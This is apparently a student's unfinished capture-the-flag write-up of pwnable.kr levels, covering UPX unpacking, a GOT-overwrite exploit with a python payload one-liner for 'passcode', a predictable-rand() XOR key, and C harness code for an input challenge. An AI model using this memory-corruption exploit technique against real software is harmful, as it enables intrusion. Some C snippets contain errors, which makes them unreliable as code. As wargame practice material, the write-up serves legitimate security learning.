Pwnable Writeups
Table of Contents
1. Flag
First I ran ’chmod +x flag’ to be able to execut the file.
After I executed the file I was prompted with the message.
I will malloc() and strcpy the flag there. take it.
So, I then decided to run gdb and dissases main on the executable.
However, the symbol table has been completley striped!
After some googling I found out that this means that the symbols are unretreavable so I went back to the drawing board and the message for the level stood out.
“Papa brought me a packed present!”
What does packed indicate?
After googling I found out that packed is another word for compressed.
So I printed the strings of the file and greped for the word ’packed’
which revealed the file was packed with UDX.
I downloaded UDX and unpacked the file which allowed me to disasem main and follow the malloc pointer to the flag,
“UPX…? sounds like a delivery service :)”
2. Passcode
First i checked the prems of the files and saw that I could read the source code of passcode.
I first ran the code and was met with a SEGV fault…
So, I looked through the code and noticed that the program was trying to scanf(“%d”, <variable>) which is causign the segv.
The user is basically trying to write to the value of the variable rather than its adddress.
And since the value of the variable is not a thing yet it results in a segv.
WE CAN USE THIS TO OUR ADVANTAGE
if we find out a way to overwrite the contents of passcode then we can write whatever we want to an address.
So, i looked at the welcome function for ways to overload the buffer.
I found that the name is being stored in a char[100] so I decided to overload the welcome with characters and track the stack as we go over into the login() function.
(gdb) disassemble login 0x0804856f <+11>: mov %eax,(%esp) 0x08048572 <+14>: call 0x8048420 <printf@plt> 0x08048577 <+19>: mov $0x8048783,%eax *0x0804857c <+24>: mov -0x10(%ebp),%edx* 0x0804857f <+27>: mov %edx,0x4(%esp) 0x08048583 <+31>: mov %eax,(%esp) (gdb) b *0x0804857c Breakpoint 1 at 0x804857c (gdb) r Starting program: /home/passcode/passcode Toddler's Secure Login System 1.0 beta. enter you name : test Welcome test! Breakpoint 1, 0x0804857c in login () (gdb) x/xw $ebp-0x10 *0xffc3a058: 0xf765dcbb*
I found that the address of passcode1 is 0xffc3a058 which was pointing at 0xf765dcbb.
With this info I can then follow the stack when I overflow it to see if these addresses are being overwritten…AND THEY ARE!
#+name stack trace
(gdb) x/20xw $esp 0xffeba290: 0x61616173 0x61616174 0x61616175 0x61616176 0xffeba2a0: 0x61616177 0x61616178 *0x61616179* 0xa5aa0c00 0xffeba2b0: 0xf7723000 0xf7723000 0xffeba2d8 0x08048684 0xffeba2c0: 0x080487f0 0x08048250 0x080486a9 0x00000000 0xffeba2d0: 0xf7723000 0xf7723000 0x00000000 0xf7588647
As we can see the stack trace shows that the address 0xffc3a058 or passcode1 variable.
To find the offsset we trace our input which was yaaa and find that it was at the 96th position of the character.
Now we have the ability to overwrite any memory location we want.
We can overwrite some GOT entries!
if we use objdump to find the address of the GOT entries:
passcode@pwnable:~$ objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
Lets use flush since scanf and printf contain newline and null byte.
Now if we gather the address of the assembly instructions for system(“/bin/cat flag”)
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp) 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: movl $0x80487a5,(%esp) 0x080485de <+122>: call 0x8048450 <puts@plt> *0x080485e3 <+127>: movl $0x80487af,(%esp)* 0x080485ea <+134>: call 0x8048460 <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret
I had no clue how to identify which one was instruction so I had to use google to help (:
and it was 0x080485e3
So now we can enter all we found together
python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
Passcode: Sorry mom.. I got confused about scanf usage :(
3. Random
First looked at the c code
#include <stdio.h> int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; }
I ran the same program and printed out rand() and it printed out the same address everytime!
0x6b8b4567
looking at the c code it is xor’ing the key with random…
so if we can enter the right binary as the key to xor with random to get 0xdeadbeef it will pass!
0x6b8b4567 = 0110 1011 1000 1011 0100 0101 0110 0111
key = 1011 0101 0010 0110 1111 1011 1000 1000
0xdeadbeef = 1101 1110 1010 1101 1011 1110 1110 1111
converted to binary: 3039230856
4. Input
first I looked at the code of the file input.c
#+name input.c
int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; }
I noticed that its testing our knowledge of how a computer takes input…
So for the first challenge the following block depicts what we have to enter to continue
// argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n");
So, argc must be 100 characters which means we have to pass 100 arguments in total to begin with. // the chi of the program
Next it compares the index of A into the argument commads to the binary ’\x00’.
If we convert the char ’A’ to ASCII we get 65 which means that the 65th argument must be ’\x00’ and the same reasoning goes for the 3rd conditional.
Lets use c to write the code to execute..
#include <stdio.h> #include <unistd.h> #include <string.h> int main(){ char *filler[101]; for(int i =0; i < 101; i++){ filler[i] = "#"; } filler['A'] = "\x00"; filler['B'] = "\x20\x0a\x0d"; filler[100] = NULL; execve("/home/input2/input", filler, NULL); }
Now for phase 2 looking at the code…
// stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n");
We can see that the code creates a buffer of 4 bits and firstly calls the read command which takes a file descriptor, buffer, and sizet(which is the amount of bits to read).
the first is reading from file descriptor 0 which is stdin and the second is reading from fd 2 which is stderror… weird.
If we find a way to write the data “\x00\x0a\x02\xff” to stderror then we can pass this phase!
maybe we can use the opposite of the read function, write().
write(int fd, const void buf[.count], size_t count)
Lets expand on our c code.
#include <stdio.h> #include <unistd.h> #include <string.h> int main(){ char *filler[101]; for(int i =0; i < 101; i++){ filler[i] = "#"; } filler['A'] = "\x00"; filler['B'] = "\x20\x0a\x0d"; filler[100] = NULL; execve("/home/input2/input", filler, NULL); char buf[4] = "\x00\x0a\x02\xff"; write(2, buf, 4); }
But this did not work ):
The following code after the execve will not execute because after a execve command replaces the current process with a new process image.
So we must use fork and pipes to start two processes at the same time!
First we need to have two processes, the child and parent.
The parent process should be the once execing the input command.
So we must have the child write its values to the parent!
pid_t child; int stdin_pipe[2]; int stderr_pipe[2];
A pipe is a collection of two fds the first is the read and the second is the write.
Once we call pipe to instantiate the two pipes we then have to fork off the processes.
if((child = fork()) < 0){ EXIT_FAILURE("fork failed"); }
Next lets set up the pipes…
For our program to work we need the child process to write to the pipes so that the parent process can access the data and redirect it to the programs stdin and stderr.
if(child){ // parent //we must close the write end of the pipe close(stdin_pipe[1]); close(stderr_pipe[1]); //redirect the read to stdin and stderror of the program dup2(stdin_pipe[0], 0); dup2(stderr_pipe[0], 2); // and then close them to keep things neet close(stdin_pipe[0]); close(stderr_pipe[0]); //and exec our program; execve("/home/input2/input", args, NULL); }else{ // the child //close the read ends of the pipes since we wont be using them close(stdin_pipe[0]); close(stderr_pipe[0]); //write the correct data to stdin and stderr write(pipe_stdin[1], "\x00\x0a\x00\xff", 4); write(pipe_stderr[1], "\x00\x0a\x02\xff", 4); return 0; }
Okay for the next stage we are prompeted with the following
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n");
So it looks like it is comparing the string “cafebabe” with the value that is returned from the funciton call getenv(“\xde\xad\xbe\xef”).
Looking at the man page the getenv() function searches the environment list to find the environment varaible name, and returns a pointer to the corresponding value string.
So it looks like we must have our execve pass a preset environment name with the name of the enviornment “deadbeef” and the value string as “cafebave”
first lets instantiate our enviornemnt
char *envp[] ={ "\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
and then add it to the execve..
execve("/home/input2/input", args, envp);
Stage 3 cleared!
For the next stage we are prompted with the following code
FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n");
It looks like the program is trying to open a file name “\x0a” to read 4 bytes into a buf and then comparing if the 4 bytes are all 0’s.
All we have to do is open the same file for reading and then write the contents that it checks.
FILE* fp = fopen("\x0a" "w"); char *buff[4] = "\x00\x00\x00\x00"; fwrite(buff, 4, 1, fp); fclose(fp);
Stage 4 is cleared!
in progresss…